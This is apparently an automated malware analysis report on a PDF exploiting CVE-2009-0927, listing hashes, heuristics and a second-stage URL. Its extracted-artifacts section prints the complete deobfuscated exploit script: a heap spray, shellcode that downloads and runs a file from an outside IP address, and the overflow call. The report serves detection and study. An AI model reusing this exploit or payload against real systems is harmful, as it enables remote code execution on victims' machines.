Malicious PDF / .TXT — malware analysis report

Static analysis result for SHA-256 d0cb20eaf386d15e…

MALICIOUS

PDF / .TXT

1.9 KB First seen: 2026-05-10
MD5: 46ee96ce23d71543ee22ee4f75c59d37 SHA-1: a76aa1eab37aff523a251e803c2a265503b691df SHA-256: d0cb20eaf386d15e108e7d6fb315ebc0778630deff50fbb4b4d7209c40305611
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

The PDF sample contains obfuscated JavaScript that leverages the CVE-2009-0927 vulnerability (Collab.getIcon). The JavaScript is deobfuscated and uses eval() and unescape() functions, indicating it's designed to execute arbitrary code. The primary attack vector appears to be exploiting this known PDF vulnerability to achieve code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(37)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://87.118.81.148/i9rt/l.php?i=6 Referenced by PDF JavaScript
🗂 Part of campaign: 2iii.org 14 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x6CE 295 bytes
SHA-256: 0c76cda798ef77d3534d0ecfe9b37e2225dfe992b937194fe3020d8fc0ba3acc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(37)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2637 bytes
SHA-256: 3d0c6f3695b388bc86fe2b04456385811d20522b40493c4bf0c7a65d993e6d08
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var arry = new Array();function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}if (app.doc.Collab.getIcon){var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u382f%u2e37%u3131%u2e38%u3138%u312e%u3834%u692f%u7239%u2f74%u2e6c%u6870%u3f70%u3d69%u0036%u9000");var hWq500CN = payload.length * 2;var len = 0x400000 - (hWq500CN + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){arry[vqcQD96y] = yarsp + payload;}var tUMhNbGw = unescape("	");while (tUMhNbGw.length < 0x4000){tUMhNbGw += tUMhNbGw;}tUMhNbGw = "N." + tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}

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